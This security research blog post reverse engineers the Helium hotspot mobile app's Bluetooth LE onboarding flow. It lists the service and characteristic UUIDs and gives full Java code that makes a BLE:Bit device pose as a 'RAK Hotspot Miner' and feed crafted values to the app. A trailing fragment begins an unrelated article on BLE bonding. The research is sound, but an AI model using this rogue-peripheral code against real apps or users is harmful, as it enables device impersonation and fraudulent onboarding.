When checking the UUID 398168aa-0111-4ec0-b1fa-171671270608 online, it led to a GitHub repository related to the Helium miner—an important discovery.

Characteristic WiFiConnect 398168aa-0111-4ec0-b1fa-171671270608

After some investigation, it became clear that this was an older, deprecated implementation of the Helium miner written in Python. It included references to BlueZ, the Linux Bluetooth stack, indicating that communication was handled over Bluetooth.

There were two possible explanations for the use of Bluetooth:

BLE is required to control the Helium device directly.

BLE is used by the Python-based miner to allow the mobile app to connect and control it.

It turned out that the second scenario was correct. The miner can run in Python, and the mobile app interacts with it over BLE.

So all UUIDs for all services and characteristics along with their descriptions should be there. Awesome. bye javascript world!

The following python file contains all the UUIDs along with their descriptions! found in the github repo just mentioned:

​
# Firmware UUID
FIRMWARE_VERSION_CHARACTERISTIC_UUID = "00002a26-0000-1000-8000-00805f9b34fb"
​
# Onboarding Key
ONBOARDING_KEY_CHARACTERISTIC_UUID = "d083b2bd-be16-4600-b397-61512ca2f5ad"
ONBOARDING_KEY_VALUE = "Onboarding Key"
​
# Public Key
PUBLIC_KEY_CHARACTERISTIC_UUID = "0a852c59-50d3-4492-bfd3-22fe58a24f01"
PUBLIC_KEY_VALUE = "Public Key"
​
# WiFiServices
WIFI_SERVICES_CHARACTERISTIC_UUID = "d7515033-7e7b-45be-803f-c8737b171a29"
WIFI_SERVICES_VALUE = "WiFi Services"
​
# WiFiConfiguredServices
WIFI_CONFIGURED_SERVICES_CHARACTERISTIC_UUID = "e125bda4-6fb8-11ea-bc55-0242ac130003"
WIFI_CONFIGURED_SERVICES_VALUE = "WiFi Configured Services"
​
# WiFiRemove
WIFI_REMOVE_CHARACTERISTIC_UUID = "8cc6e0b3-98c5-40cc-b1d8-692940e6994b"
WIFI_REMOVE_VALUE = "WiFi Remove"
​
# Diagnostics
DIAGNOSTICS_CHARACTERISTIC_UUID = "b833d34f-d871-422c-bf9e-8e6ec117d57e"
DIAGNOSTICS_VALUE = "Diagnostics"
​
# Mac address
MAC_ADDRESS_CHARACTERISTIC_UUID = "9c4314f2-8a0c-45fd-a58d-d4a7e64c3a57"
MAC_ADDRESS_VALUE = "Mac Address"
​
# Lights
LIGHTS_CHARACTERISTIC_UUID = "180efdef-7579-4b4a-b2df-72733b7fa2fe"
LIGHTS_VALUE = "Lights"
​
​
# WiFiSSID
WIFI_SSID_CHARACTERISTIC_UUID = "7731de63-bc6a-4100-8ab1-89b2356b038b"
WIFI_SSID_VALUE = "WiFi SSID"
​
​
# AssertLocation
ASSERT_LOCATION_CHARACTERISTIC_UUID = "d435f5de-01a4-4e7d-84ba-dfd347f60275"
ASSERT_LOCATION_VALUE = "Assert Location"
​
# Add Gateway
ADD_GATEWAY_CHARACTERISTIC_UUID = "df3b16ca-c985-4da2-a6d2-9b9b9abdb858"
ADD_GATEWAY_KEY_VALUE = "Add Gateway"
​
# WiFiConnect
WIFI_CONNECT_CHARACTERISTIC_UUID = "398168aa-0111-4ec0-b1fa-171671270608"
WIFI_CONNECT_KEY_VALUE = "WiFi Connect"
​
​
# Ethernet Online
ETHERNET_ONLINE_CHARACTERISTIC_UUID = "e5866bd6-0288-4476-98ca-ef7da6b4d289"
ETHERNET_ONLINE_VALUE = "Ethernet Online"

This also contains very important strings that we must impersonate. We would like to impersonate those as we would like to have a rogue peripheral that mobile application will search and connect to:

FIRMWARE_VERSION = "2021.01.31.1"
DEVINFO_SVC_UUID = "180A"
FIRMWARE_SVC_UUID = "0000180a-0000-1000-8000-00805f9b34fb"
MANUFACTURE_NAME_CHARACTERISTIC_UUID = "2A29"
FIRMWARE_REVISION_CHARACTERISTIC_UUID = "2A26"
SERIAL_NUMBER_CHARACTERISTIC_UUID = "2A25"
USER_DESC_DESCRIPTOR_UUID = "2901"
PRESENTATION_FORMAT_DESCRIPTOR_UUID = "2904"

In their repository i have found the gateway-config repo:

"The Helium configuration application. Manages the configuration of the Helium Hotspot over Bluetooth, and ties together various services over dbus."

"Exposes a GATT BLE tree for configuring the hotspot over Bluetooth.
Signals gateway configuration (public key and Wi-Fi credentials) over dbus.
Listens for GPS location on SPI and signals the current Position of the hotspot over dbus."

So everything is open and no further reversing is needed. 🙁

A new goal

Let’s setup a python miner and connect to it via mobile app

Then, act as a MiTM in BLE Connection and analyze the communication and then setup our rogue Helium Hotspot.

The Twist

Helium previously allowed users to create DIY hotspots and earn tokens, but that option has now been discontinued.

However, the Android application is available in their repository and appears to be open source.

At this point, working with the JavaScript code started to feel a bit more manageable since the JS not is not stripped. Remember, we started by reversing the app without searching anything on the internet, as a blackbox app. Now we have the source code of the app.

export enum Service {
  FIRMWARESERVICE_UUID = '0000180a-0000-1000-8000-00805f9b34fb',
  MAIN_UUID = '0fda92b2-44a2-4af2-84f5-fa682baa2b8d',
}
​
export enum FirmwareCharacteristic {
  FIRMWAREVERSION_UUID = '00002a26-0000-1000-8000-00805f9b34fb',
}
export enum HotspotCharacteristic {
  WIFI_SSID_UUID = '7731de63-bc6a-4100-8ab1-89b2356b038b',
  PUBKEY_UUID = '0a852c59-50d3-4492-bfd3-22fe58a24f01',
  ONBOARDING_KEY_UUID = 'd083b2bd-be16-4600-b397-61512ca2f5ad',
  AVAILABLE_SSIDS_UUID = 'd7515033-7e7b-45be-803f-c8737b171a29',
  WIFI_CONFIGURED_SERVICES = 'e125bda4-6fb8-11ea-bc55-0242ac130003',
  WIFI_REMOVE = '8cc6e0b3-98c5-40cc-b1d8-692940e6994b',
  WIFI_CONNECT_UUID = '398168aa-0111-4ec0-b1fa-171671270608',
  ADD_GATEWAY_UUID = 'df3b16ca-c985-4da2-a6d2-9b9b9abdb858',
  ASSERT_LOC_UUID = 'd435f5de-01a4-4e7d-84ba-dfd347f60275',
  DIAGNOSTIC_UUID = 'b833d34f-d871-422c-bf9e-8e6ec117d57e',
  ETHERNET_ONLINE_UUID = 'e5866bd6-0288-4476-98ca-ef7da6b4d289',
}

By inspecting the application's source code, it was concluded that there are two main BLE services. One is the standard Device Information service, which includes the Firmware Revision String. The other is a custom service that holds all the vendor-specific characteristics used by the Helium hotspot.

The following code shows the initialization procedure:

const initialState = {
  getState: async () => State.Unknown,
  enable: async () => {},
  scan: async () => {},
  connect: async () => undefined,
  discoverAllServicesAndCharacteristics: async () => undefined,
  findAndReadCharacteristic: () =>
    new Promise<undefined>((resolve) => resolve()),
  findAndWriteCharacteristic: () =>
    new Promise<undefined>((resolve) => resolve()),
  readCharacteristic: () => new Promise<Characteristic>((resolve) => resolve()),
  writeCharacteristic: () =>
    new Promise<Characteristic>((resolve) => resolve()),
  findCharacteristic: async () => undefined,
}

So first i configured all the characteristics and services and then i connected to BLE:Bit.

BLEBit Output:

Read[WiFi_SSID]: 00000000000000000000
Read[PUBKey]: 00000000000000000000
Read[OnBoarding_Key]: 00000000000000000000

No values were assigned to the characteristics yet, since there was no clear information on what the correct values should be.

Here’s how the hotspot configuration process works:

const connectAndConfigHotspot on useHotspot.ts.

const connectAndConfigHotspot = async (hotspotDevice: Device) => {
    let connectedDevice = hotspotDevice
    const connected = await hotspotDevice.isConnected()
    if (!connected) {
      const device = await connect(hotspotDevice)
      if (!device) return
      connectedDevice = device
    }
​
    const deviceWithServices = await discoverAllServicesAndCharacteristics(
      connectedDevice,
    )
    if (!deviceWithServices) return
​
    connectedHotspot.current = deviceWithServices
​
    const wifi = await getDecodedStringVal(HotspotCharacteristic.WIFI_SSID_UUID)
    const ethernetOnline = await getDecodedBoolVal(
      HotspotCharacteristic.ETHERNET_ONLINE_UUID,
    )
    const address = await getDecodedStringVal(HotspotCharacteristic.PUBKEY_UUID)
    const onboardingAddress = await getDecodedStringVal(
      HotspotCharacteristic.ONBOARDING_KEY_UUID,
    )
​
    const type = getHotspotType(onboardingAddress || '')
    const name = getHotspotName(type)
    const mac = hotspotDevice.localName?.slice(15)
​
    if (!onboardingAddress || onboardingAddress.length < 20) {
      Logger.error(
        new Error(`Invalid onboarding address: ${onboardingAddress}`),
      )
    }
​
    const details = {
      address,
      mac,
      type,
      name,
      wifi,
      ethernetOnline,
      onboardingAddress,
    }
​
    const response = await dispatch(fetchHotspotDetails(details))
    return !!response.payload
  }

In the following referenced code, the required hotspot name was identified. This name is used by the application to recognize and connect to the device:

export type HotspotName = 'RAK Hotspot Miner' | 'Helium Hotspot'

It was discovered that the application handles some characteristics differently from others. During the initialization stage, there was no code found that validates the actual content of these characteristics—as long as the values can be decoded from base64, they are accepted.

import { decode } from 'base-64'
...
const parseWifi = (value: string): string[] => {
  const buffer = util.newBuffer(util.base64.length(value))
  util.base64.decode(value, buffer, 0)
  return WifiServicesV1.decode(buffer).services
}
​
const parseDiagnostics = (value: string) => {
  const buffer = util.newBuffer(util.base64.length(value))
  util.base64.decode(value, buffer, 0)
  return DiagnosticsV1.decode(buffer).diagnostics
}
...
export function parseChar(
  characteristicValue: string,
  uuid:
    | typeof HotspotCharacteristic.WIFI_SSID_UUID
    | typeof HotspotCharacteristic.PUBKEY_UUID
    | typeof HotspotCharacteristic.ONBOARDING_KEY_UUID
    | typeof HotspotCharacteristic.WIFI_REMOVE
    | typeof HotspotCharacteristic.WIFI_CONNECT_UUID
    | typeof HotspotCharacteristic.ADD_GATEWAY_UUID
    | typeof FirmwareCharacteristic.FIRMWAREVERSION_UUID,
): string
...
export function parseChar(
  characteristicValue: string,
  uuid: typeof HotspotCharacteristic.DIAGNOSTIC_UUID,
): DiagnosticInfo
...
export function parseChar(characteristicValue: string, uuid: string) {
  switch (uuid) {
    case HotspotCharacteristic.DIAGNOSTIC_UUID:
      return parseDiagnostics(characteristicValue) as DiagnosticInfo
    case HotspotCharacteristic.WIFI_CONFIGURED_SERVICES:
    case HotspotCharacteristic.AVAILABLE_SSIDS_UUID:
      return parseWifi(characteristicValue)
    case HotspotCharacteristic.ETHERNET_ONLINE_UUID: {
      const decodedValue = decode(characteristicValue)
      return decodedValue === 'true'
    }
  }

From the code, we can see that the diagnostics, assert_loc, add_gateway, wifi_connect, wifi_remove and wifi_services are decoded and then decoded again by using protobuf: from '@helium/proto-ble'

Setting up the Rogue BLE

It appears that the public key, onboarding key, and WiFi SSID are all treated as simple strings, as shown in the earlier code. Additionally, several parts of the codebase include checks for empty strings.

With that in mind, the next step was to populate these characteristics with random base64-encoded strings, then set up a rogue BLE device using the known device name, characteristic UUIDs, and service UUIDs. The BLE:Bit tool was used to create and advertise this fake device, allowing the Helium app to detect and attempt a connection.

BLEBit Output:

Setting SSID...
Read[WiFi_SSID]: 53..MYAPNAME..30
Setting PubKey...
Read[PUBKey]: 56326868644756325a58
Setting OnBoarding Key...
Read[OnBoarding_Key]: 56326868644756325a58
Read[Avail_SSIDs]: 00000000000000000000
Read[WiFi_Configured]: 00000000000000000000

The setup was successful—the application recognized the rogue device as a Helium hotspot. This confirmed that the WiFi SSID, public key, and onboarding key characteristics were being used by the app during the connection process.

However, for the Available SSIDs and WiFi Configuration characteristics, the app expects data to be encoded using protobuf, as indicated by the source code. The required protobuf definitions were located here:

(Without these definitions, the protobuf payload could be reverse engineered manually, though that approach is often unreliable.)

With the protobuf schemas available, the next step was to understand how the app processes this data. Once that logic is clear, it becomes possible to generate valid protobuf-encoded values and insert them into the corresponding characteristics—fully simulating a rogue hotspot.

Available SSIDs & Wifi Configured Services

Below you may find the code that is responsible for parsing the SSID and Wifi Configured Services:

case HotspotCharacteristic.WIFI_CONFIGURED_SERVICES:
case HotspotCharacteristic.AVAILABLE_SSIDS_UUID:
    return parseWifi(characteristicValue)

const parseWifi = (value: string): string[] => {
  const buffer = util.newBuffer(util.base64.length(value))
  util.base64.decode(value, buffer, 0)
  return WifiServicesV1.decode(buffer).services
}

Wifi Services Proto:

syntax = "proto3";
​
message wifi_services_v1 {
    repeated string services = 1;
}

The characteristic available SSIDs is a string array encoded in protobuf which then must be encoded in base64! The same applies for wifi configured services too.

The handling mechanism seems pretty interesting to me at this moment.

Handling BLE Values

The following outlines the high-level logic that ties together all the previous steps observed in the application:

useEffect(() => {
    const unsubscribe = navigation.addListener('focus', async () => {
      // connect to hotspot
      const success = await connectAndConfigHotspot(hotspot)
​
      // check for valid onboarding record
      if (!success) {
        // TODO actual screen for this
        Alert.alert('Error', 'Invalid onboarding record')
        navigation.goBack()
        return
      }
​
      // check firmware
      const hasCurrentFirmware = await checkFirmwareCurrent()
      if (!hasCurrentFirmware) {
        navigation.navigate('FirmwareUpdateNeededScreen')
        return
      }
​
      // scan for wifi networks
      const networks = uniq((await scanForWifiNetworks()) || [])
      const connectedNetworks = uniq((await scanForWifiNetworks(true)) || [])
​
      // navigate to next screen
      navigation.replace('HotspotSetupPickWifiScreen', {
        networks,
        connectedNetworks,
      })
    })
​
    return unsubscribe
    // eslint-disable-next-line react-hooks/exhaustive-deps
  }, [])

The app begins by connecting to the hotspot and retrieving its current configuration. It then checks a few key details, such as the firmware version. If everything looks valid, it proceeds to scan for available WiFi networks. Once the scan is complete, the app updates the interface to show a screen listing the detected networks.

Checking firmware: (located in useHotspot.ts)

  const checkFirmwareCurrent = async (): Promise<boolean> => {
    if (!connectedHotspot.current) return false
​
    const characteristic = FirmwareCharacteristic.FIRMWAREVERSION_UUID
    const charVal = await findAndReadCharacteristic(
      characteristic,
      connectedHotspot.current,
      Service.FIRMWARESERVICE_UUID,
    )
    if (!charVal) return false
​
    const deviceFirmwareVersion = parseChar(charVal, characteristic)
​
    const firmware: { version: string } = await getStaking('firmware')
    const { version: minVersion } = firmware
​
    dispatch(
      connectedHotspotSlice.actions.setConnectedHotspotFirmware({
        version: deviceFirmwareVersion,
        minVersion,
      }),
    )
    return compareVersions.compare(deviceFirmwareVersion, minVersion, '>=')
  }

It seems there is a comparison of the firmware version at the end of the function. That shouldn’t be hard to bypass, as it is a numerical comparison. The firmware version must be greater or equal to the minVersion, whatever that is.

The minVersion is retrieved when getStaking(‘firmware’) is invoked:

export const getStaking = async (url: string) => makeRequest(url)

It’s clear from the code that this is a web request. While monitoring the network traffic, an interesting request was observed. However, the server response did not indicate a successful operation.

GET /app/hotspots/V2hhdGV2ZX HTTP/1.1
authorization: Basic ...
Host: onboarding.dewi.org
Connection: close
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.14.4

Response:

HTTP/1.1 500 Internal Server Error
Server: Cowboy
Connection: close
X-Powered-By: Express
Strict-Transport-Security: max-age=31557600
Content-Type: application/json; charset=utf-8
Content-Length: 106
Etag: W/"6a-fHVDtXb9Hwi2pUWYpbWkUithBb4"
Vary: Accept-Encoding
Date: Fri, 12 Feb 2021 17:35:52 GMT
Via: 1.1 vegur
​
{"code":500,"errorMessage":"Cannot read property 'Maker' of null","errors":[],"data":null,"success":false}

Decoding the hostspot name sent in request:

echo -n "V2hhdGV2ZX==" | base64 -d
Whateve

That value matched part of what was previously set in one of the three characteristics on the rogue BLE device.

Next, valid SSIDs needed to be created. It's likely that the application compares these SSIDs against networks visible to both the Helium device (in this case, the rogue one) and the mobile phone. So, they must be real and available during the setup process.

Below is the code used to configure the BLE:Bit tool as the rogue station:

// Avail SSIDs
if (characteristic.getUUID().toString().equals("d7515033-7e7b-45be-803f-c8737b171a29"))
{
    System.out.println("Setting Avail SSIDs...");
    try {
        // Build Protobuf
        WifiServices.wifi_services_v1.Builder builder = WifiServices.wifi_services_v1.newBuilder();
        List<String> ssids = new ArrayList<>();
        ssids.add("MyWifiAPName:)");
        builder.addAllServices(ssids);
        // Encode to protobuf and then base64
        byte[] encoded = Base64.getEncoder().encode(builder.build().toByteArray());
        // prepare data for transmission
        authorized_Data.setAuthorizedData(encoded, encoded.length);
​
    }catch(IOException ioex) {
    System.err.println(ioex.getMessage());
    }
}

Device Connected - Client Address: 6b:30:56:c6:70:e9 PRIVATE
Connected
Setting SSID...
Read[WiFi_SSID]: 53..MYAPNAME..30
Setting PubKey...
Read[PUBKey]: 563268686444493d
Setting OnBoarding Key...
Read[OnBoarding_Key]: 5632686864444d3d
Setting Avail SSIDs...
Read[Avail_SSIDs]: 4367..AVAIL_WIFIS..13d

Based on the source code, we expect the onboardkey to be retrieved by the application. However, no such read request has been observed via the BLE:Bit.

Application Source code regarding OnBoardKey:

​
  // helium hotspot uses b58 onboarding address and RAK is uuid v4
  const getHotspotType = (onboardingAddress: string): HotspotType =>
    validator.isUUID(addUuidDashes(onboardingAddress)) ? 'RAK' : 'Helium'
​
  const addUuidDashes = (s = '') =>
    `${s.substr(0, 8)}-${s.substr(8, 4)}-${s.substr(12, 4)}-${s.substr(
      16,
      4,
    )}-${s.substr(20)}`
​
  const getHotspotName = (type: HotspotType): HotspotName => {
    switch (type) {
      case 'RAK':
        return 'RAK Hotspot Miner'
      default:
      case 'Helium':
        return 'Helium Hotspot'
    }
  }

const type = getHotspotType(onboardingAddress || '')

The code shows that the onboarding key must be a 128-bit UUID in raw bytes. However, even when this condition is met, the process doesn't move forward. Instead, the app reports that no WiFi networks were found.

This seemed unusual, so the next step was to disable WiFi on the mobile device and try the process again to observe any differences.

Connected
Setting SSID...
Read[WiFi_SSID]: 53..MYAPNAME..30
Setting PubKey...
Read[PUBKey]: 563268686444493d
Setting OnBoarding Key...
Read[OnBoarding_Key]: 5a4463314d5455774d7a4d335a5464694e4456695a513d3d
Setting OnBoarding Key...
Read[OnBoarding_Key]: 5a4463314d5455774d7a4d335a5464694e4456695a513d3d
Setting Avail SSIDs...
Read[Avail_SSIDs]: 4367..AVAIL_WIFIS..13d

As suspected, the app is looking for an internet connection. So the application is waiting for the server to respond when the onBoardkingKey is used! Then, it continues with BLE operations.

This is where we stop because the research took enough of our time, more than we were willing to allocate.

Conclusions

The process of connecting to a BLE device was successfully reverse-engineered without needing the actual hardware. The required services and characteristics were recreated, and appropriate values were identified and placed correctly to allow the Helium app to proceed with the connection flow.

Sometimes, the process becomes more difficult—especially when dealing with React Native apps and no open-source code is available. While that doesn't make reverse engineering impossible, it does raise the level of effort and complexity required.

A rogue BLE peripheral was successfully created, which tricked the Helium app into providing the expected values. These values could then be used to communicate with the server.

The next logical step would be to scan for a real Helium device and extract its onboarding key, which could then be passed to the server to simulate a real setup. In theory, the entire flow and behavior could also be analyzed through further reverse engineering, without needing direct interaction with the server.

Below you may find the code used to explore the Helium System (BLE:Bit SDK 1.6, BLE:Bit Tool 1.0):

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.util.ArrayList;
import java.util.Base64;
import java.util.HashMap;
import java.util.List;
import java.util.Scanner;
import java.util.UUID;

import com.fazecast.jSerialComm.SerialPort;

import cybervelia.sdk.controller.BLECharacteristic;
import cybervelia.sdk.controller.BLEService;
import cybervelia.sdk.controller.ce.CEBLEDeviceCallbackHandler;
import cybervelia.sdk.controller.ce.CEController;
import cybervelia.sdk.controller.pe.AdvertisementData;
import cybervelia.sdk.controller.pe.AuthorizedData;
import cybervelia.sdk.controller.pe.NotificationValidation;
import cybervelia.sdk.controller.pe.PEBLEDeviceCallbackHandler;
import cybervelia.sdk.controller.pe.PEConnectionParameters;
import cybervelia.sdk.controller.pe.PEController;
import cybervelia.sdk.controller.pe.callbacks.BondingCallback;
import cybervelia.sdk.controller.pe.callbacks.PEConnectionCallback;
import cybervelia.sdk.controller.pe.callbacks.PENotificationDataCallback;
import cybervelia.sdk.controller.pe.callbacks.PEReadCallback;
import cybervelia.sdk.controller.pe.callbacks.PEWriteEventCallback;
import cybervelia.sdk.types.BLEAttributePermission;
import cybervelia.sdk.types.ConnectionTypesCommon;
import cybervelia.sdk.types.ConnectionTypesCommon.AddressType;
import cybervelia.sdk.types.ConnectionTypesPE;


public class HeliumExplore {
	static boolean debugging = true;
	static PEBLEDeviceCallbackHandler mypecallbackHandler = null;
	static PEController pe;
	static HashMap<String, String> mapUuidDescription = new HashMap<>();
	
	public static void main(String ...args) {
		connectToDevice();
		handleDevice();
	}
	
	
	
	
	private static String startComm(String device)
	{
		SerialPort[] sp = SerialPort.getCommPorts();
		String com_port = null;
		for(SerialPort s : sp)
		{
			System.out.println(s.getDescriptivePortName());
			 if (s.getDescriptivePortName().indexOf(device) >= 0)
			 {
				 com_port = s.getSystemPortName();
			 }
		}
		
		System.out.println("PE Opening: " + com_port);
		
		if (com_port == null)
		{
			System.err.println("COM Port does not exist");
			System.exit(1);
		}
		
		return com_port;
	}
	
	/* Identify BLE:Bit devices */
	private static String[] findPorts() {
		ArrayList<String> portsFound = new ArrayList<String>();
		
		SerialPort[] sp = SerialPort.getCommPorts();
		for(SerialPort s : sp)
		{
			if (!debugging && (s.getDescriptivePortName().toLowerCase().contains("cp210x") && System.getProperty("os.name").startsWith("Windows")))
				portsFound.add(s.getSystemPortName());
			else if (!debugging && (s.getDescriptivePortName().toLowerCase().contains("cp210x") && System.getProperty("os.name").startsWith("Linux")))
				portsFound.add(s.getSystemPortName());
			else if (debugging  && System.getProperty("os.name").startsWith("Windows") && (s.getDescriptivePortName().contains("Prolific") || s.getDescriptivePortName().contains("USB Serial Port")))
				portsFound.add(s.getSystemPortName());
			else if (debugging  && System.getProperty("os.name").startsWith("Linux") && (s.getDescriptivePortName().contains("pl2303") || s.getDescriptivePortName().contains("ftdi_sio")))
				portsFound.add(s.getSystemPortName());
		}
		
		String[] ports = new String[portsFound.size()];
		for(int i = 0; i<portsFound.size(); ++i)
		{
			ports[i] = portsFound.get(i);
			System.out.println("ADDED: " + ports[i]);
		}
		
		return ports;
	}
	
	public static void connectToDevice() {
		// Print Available Communication channels
		SerialPort[] sp = SerialPort.getCommPorts();
		for(SerialPort s : sp)
			System.out.println(s.getSystemPortName() + " - " + s.getDescriptivePortName());
		System.out.println(" --------------- ");
		
		// Find and print available serial ports
		String[] fports = findPorts();
		
		System.err.println("Devices Found: " + fports.length);
		
		
		// Initialise CE & PC
		try {
			mypecallbackHandler = new PEBLEDeviceCallbackHandler();
			pe = new PEController(fports[0], mypecallbackHandler);
			
			if (!pe.isInitializedCorrectly())
			{
				System.err.println("Not a BLEBit PE");
				System.exit(1);
			}
			
		}catch(IOException ioex) {
			System.err.println("Failed to initialize pe and ce: " + ioex.getMessage());
			System.exit(1);
		}
		
		System.out.println("SDK Version: " + ConnectionTypesCommon.getSDKVersion());
		System.out.println("PE FW Version: " + pe.getFirmwareVersion());
		
		
	}
	
	
	private static void handleDevice()
	{
		try {
			
			mypecallbackHandler.installConnectionCallback(new PEConnectionCallback() {

				@Override
				public void disconnected(int reason) {
					System.out.println("Disconnected");
				}
				
				@Override
				public void connected(AddressType address_type, String address) {
					System.out.println("Connected");
				}
				
			});
			
			mypecallbackHandler.installWriteCallback(new PEWriteEventCallback() {

				@Override
				public void writeEvent(BLECharacteristic characteristic, byte[] data, int data_size, boolean is_cmd,
						short handle) {
					if (characteristic != null)
					{
						System.out.print("Write["+mapUuidDescription.get(characteristic.getUUID().toString())+"]: ");
						for(int i=0;i<data_size;++i)
							System.out.print(String.format("%02x", data[i]));
						System.out.println();
					}else
						System.out.println("Characteristic object not found");
				}
				
			});
			
			mypecallbackHandler.installReadCallback(new PEReadCallback() {

				@Override
				public boolean authorizeRead(BLECharacteristic characteristic, byte[] data, int data_len,
						AuthorizedData authorized_Data) {
					
					if (characteristic != null)
					{
						// Wifi SSID
						if (characteristic.getUUID().toString().equals("7731de63-bc6a-4100-8ab1-89b2356b038b"))
						{
							System.out.println("Setting SSID...");
							try {
								String ssid = "MyAPsSSID";
								byte encoded[] = Base64.getEncoder().encode(ssid.getBytes());
								authorized_Data.setAuthorizedData(encoded, encoded.length);
							}catch(IOException ioex) {
								System.err.println(ioex.getMessage());
							}
						}
						
						// Public Key
						if (characteristic.getUUID().toString().equals("0a852c59-50d3-4492-bfd3-22fe58a24f01"))
						{
							System.out.println("Setting PubKey...");
							try {
								String value = "What2";
								byte[] encoded = Base64.getEncoder().encode(value.getBytes());
								authorized_Data.setAuthorizedData(encoded, encoded.length);
							}catch(IOException ioex) {
								System.err.println(ioex.getMessage());
							}
						}
						
						// OnBoarding Key
						if (characteristic.getUUID().toString().equals("d083b2bd-be16-4600-b397-61512ca2f5ad"))
						{
							System.out.println("Setting OnBoarding Key...");
							try {
								String value = "d75150337e7b45be";
								byte encoded[] = Base64.getEncoder().encode(value.getBytes());
								authorized_Data.setAuthorizedData(encoded, encoded.length);
							}catch(IOException ioex) {
								System.err.println(ioex.getMessage());
							}
						}
						
						// Avail SSIDs
						if (characteristic.getUUID().toString().equals("d7515033-7e7b-45be-803f-c8737b171a29"))
						{
							System.out.println("Setting Avail SSIDs...");
							try {
								WifiServices.wifi_services_v1.Builder builder = WifiServices.wifi_services_v1.newBuilder();
								List<String> ssids = new ArrayList<>();
								ssids.add("MyAPsSSID:)-Put yours here");
								builder.addAllServices(ssids);
								
								byte[] encoded = Base64.getEncoder().encode(builder.build().toByteArray());
								authorized_Data.setAuthorizedData(encoded, encoded.length);
							}catch(IOException ioex) {
								System.err.println(ioex.getMessage());
							}
						}
						
						// Print data
						System.out.print("Read["+mapUuidDescription.get(characteristic.getUUID().toString())+"]: ");
						if (authorized_Data.getAuthorizedDataLength() == 0)
						{
							for(int i=0;i<data_len;++i)
								System.out.print(String.format("%02x", data[i]));
							System.out.println();
						}
						else
						{
							for(int i=0;i<authorized_Data.getAuthorizedDataLength();++i)
								System.out.print(String.format("%02x", authorized_Data.getAuthorizedData()[i]));
							System.out.println();
						}
					}else
						System.out.println("Characteristic object not found");
					
					// Send data
					return true;
				}
				
				@Override
				public void readEvent(BLECharacteristic characteristic, byte[] data, int data_len) {
					// ignored
				}
				
			});
			
			mypecallbackHandler.installNotificationDataCallback(new PENotificationDataCallback() {

				@Override
				public void notification_event(BLECharacteristic char_used, NotificationValidation validation) {
					if (validation == NotificationValidation.NOTIFICATION_ENABLED || validation == NotificationValidation.INDICATION_ENABLED)
						System.out.println(mapUuidDescription.get(char_used.getUUID().toString()) + " NOTIFY enabled");
				}
				
			});
			
			pe.sendConnectionParameters(new PEConnectionParameters());
			pe.sendDeviceName("RAK Hotspot Miner");
			pe.configurePairing(ConnectionTypesCommon.PairingMethods.NO_IO, null);
			pe.sendBluetoothDeviceAddress("ea:bc:cc:11:33:13", ConnectionTypesCommon.BITAddressType.STATIC_PRIVATE);			
			pe.disableAdvertisingChannels(ConnectionTypesPE.ADV_CH_38 | ConnectionTypesPE.ADV_CH_39);
			pe.sendAdvIntervalTU(100);
			pe.setFirmwareRevision("10");
			
			System.out.println("FW VER: " + pe.getFirmwareVersion());
			
			// Add BLE Services
			
			BLEService main_uuid = new BLEService(UUID.fromString("0fda92b2-44a2-4af2-84f5-fa682baa2b8d").toString());
			
			
			// Create Advertisement Data
			
			AdvertisementData adv_data = new AdvertisementData();
			
			adv_data.setFlags(AdvertisementData.FLAG_LE_GENERAL_DISCOVERABLE_MODE | AdvertisementData.FLAG_ER_BDR_NOT_SUPPORTED);
			adv_data.addServiceUUIDComplete(main_uuid);
			
			AdvertisementData scan_data = new AdvertisementData();
			scan_data.includeDeviceName();
			
			
			
			// Add BLE Characteristic 
			
			addBLEChar("7731de63-bc6a-4100-8ab1-89b2356b038b", main_uuid, "WiFi_SSID"); 
			addBLEChar("0a852c59-50d3-4492-bfd3-22fe58a24f01", main_uuid, "PUBKey"); 
			addBLEChar("d083b2bd-be16-4600-b397-61512ca2f5ad", main_uuid, "OnBoarding_Key"); 
			addBLEChar("d7515033-7e7b-45be-803f-c8737b171a29", main_uuid, "Avail_SSIDs"); 
			addBLEChar("e125bda4-6fb8-11ea-bc55-0242ac130003", main_uuid, "WiFi_Configured"); 
			addBLEChar("8cc6e0b3-98c5-40cc-b1d8-692940e6994b", main_uuid, "WiFi_Remove"); 
			addBLEChar("398168aa-0111-4ec0-b1fa-171671270608", main_uuid, "WiFi_Connect");
			addBLEChar("df3b16ca-c985-4da2-a6d2-9b9b9abdb858", main_uuid, "Add_Gateway");
			addBLEChar("d435f5de-01a4-4e7d-84ba-dfd347f60275", main_uuid, "Assert_LOC"); 
			addBLEChar("b833d34f-d871-422c-bf9e-8e6ec117d57e", main_uuid, "Diagnostics");
			addBLEChar("e5866bd6-0288-4476-98ca-ef7da6b4d289", main_uuid, "Ethernet_Online");
			
			
			// Send settings
			
			pe.sendBLEService(main_uuid);
			pe.sendAdvertisementData(adv_data);
			pe.sendScanData(scan_data);
			pe.eraseBonds();
			pe.finishSetup();
			
			
			
			System.out.println("Ready for reset - PRESS ENTER");
			Scanner scanner = new Scanner(System.in);
			scanner.nextLine();
			
			pe.terminate();
			
			
		}catch(IOException e) {
			System.err.println(e.getMessage());
		}
	}	
	
	public static void addBLEChar(String uuid, BLEService service, String description) throws IOException {
		byte[] value = new byte[10];
		for(int i = 0; i<10; ++i) value[i] = 0;
		
		String uuid_char = UUID.fromString(uuid).toString();
		BLECharacteristic bCharacteristic = new BLECharacteristic(uuid_char, value);
		bCharacteristic.enableRead();
		bCharacteristic.enableWriteCMD();
		bCharacteristic.enableWrite();
		bCharacteristic.setMaxValueLength(31);
		bCharacteristic.setValueLengthVariable(true);
		bCharacteristic.enableNotification();
		bCharacteristic.enableHookOnRead();
		bCharacteristic.setAttributePermissions(BLEAttributePermission.OPEN, BLEAttributePermission.OPEN);
		service.addCharacteristic(bCharacteristic);
		mapUuidDescription.put(uuid, description);
	}
	
	
}

Categories

[Article resurrected from our previous blog]

Bluetooth Low Energy: The Bond

Many modern applications want to encrypt their communication in order to protect the confidentiality of the data being exchanged. In Bluetooth Low Energy, encryption requires a preceding process known as bonding. When two devices are bonded, they exchange Long Term Keys, and from that point on their communication is encrypted.

The strength of this protection will be discussed in a separate article, but for now we assume that BLE provides a reasonable level of security. It is also important to note that bonding is optional, and it must be initiated by one of the two paired devices. Without bonding, no long-term encryption keys are stored and the communication remains unprotected.

Using Android API to Bond as a Central Device: The Confusion

